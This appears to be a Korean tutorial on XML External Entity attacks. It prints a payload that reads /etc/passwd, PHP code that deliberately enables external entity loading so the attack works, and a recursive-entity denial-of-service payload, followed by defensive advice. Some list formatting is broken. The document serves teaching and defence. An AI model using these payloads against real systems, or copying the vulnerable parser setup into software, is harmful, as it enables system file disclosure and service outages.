XXE(XML External Entity) 공격은 XML 기반의 애플리케이션에서 발생할 수 있는 보안 취약점입니다. 이 공격은 XML 파서가 외부 엔티티를 처리할 때 발생하며, 악의적인 사용자가 XML 문서에 외부 엔티티를 포함시켜 서버의 파일 시스템에 접근하거나, 민감한 정보를 유출하거나, 서비스 거부(DoS) 공격을 수행할 수 있습니다.
아래는 PHP와 libxml2를 사용하는 간단한 XXE 공격 예시입니다.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>
<bar>&xxe;</bar>
</foo>
위 XML 문서는 file:///etc/passwd 파일의 내용을 읽어오는 외부 엔티티 xxe를 정의합니다.
<?php
libxml_disable_entity_loader(false); // 엔티티 로딩을 활성화
$xml = <<<XML
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>
<bar>&xxe;</bar>
</foo>
XML;
$doc = new DOMDocument();
$doc->loadXML($xml);
echo $doc->saveXML();
?>
코드 설명:
libxml_disable_entity_loader(false)를 호출하여 외부 엔티티 로딩을 활성화합니다. 이는 XXE 공격을 가능하게 합니다.loadXML() 메서드를 사용하여 XML 문서를 로드하고, 내부에 정의된 외부 엔티티를 처리합니다.공격 시나리오:
file:///etc/passwd 파일의 내용을 읽어와 출력하게 됩니다. 이는 시스템의 민감한 정보를 노출할 수 있습니다.방어 방법:
libxml_disable_entity_loader(true)로 설정하면 외부 엔티티의 로딩이 차단됩니다.XXE 공격은 XML 파서를 사용하는 애플리케이션에서 심각한 보안 위험을 초래할 수 있습니다. 이 공격을 방지하기 위해서는 외부 엔티티 로딩을 비활성화하고, 입력 검증을 철저히 해야 합니다. 이를 통해 시스템을 안전하게 보호할 수 있습니다.
참조에 참조를 반복하는 XXE 공격은 XML 내부에서 외부 엔티티를 재귀적으로 참조하여 서버에 과도한 부하를 일으키는 방식입니다. 이 기법을 통해 공격자는 서버의 자원을 소모시키거나 서비스 거부(DoS) 상태를 유발할 수 있습니다.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe1 SYSTEM "file:///dev/zero">
<!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;">
<!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;">
]>
<foo>
<bar>&xxe3;</bar>
</foo>
위 XML 문서에서 xxe1은 /dev/zero를 참조하고, xxe2는 xxe1을 세 번 참조하며, xxe3는 xxe2를 세 번 참조합니다. 이렇게 되면 xxe3는 무한한 양의 데이터를 생성하게 됩니다.
&xxe3;를 처리할 때, xxe3는 xxe2를 참조하고, xxe2는 다시 xxe1을 참조합니다. 이 과정이 재귀적으로 계속되면서 서버는 무한히 데이터를 처리하려고 하게 됩니다.부하 유발:
공격 시나리오:
외부 엔티티 로딩 비활성화:
libxml_disable_entity_loader(true)로 설정하면 외부 엔티티의 로딩이 차단됩니다.입력 검증 및 필터링:
자원 제한 설정:
XXE 공격에서 참조에 참조를 반복하는 방식은 서버에 심각한 부하를 유발할 수 있습니다. 따라서 외부 엔티티 로딩을 비활성화하고, 적절한 입력 검증을 수행하는 것이 이러한 공격을 예방하는 데 필수적입니다.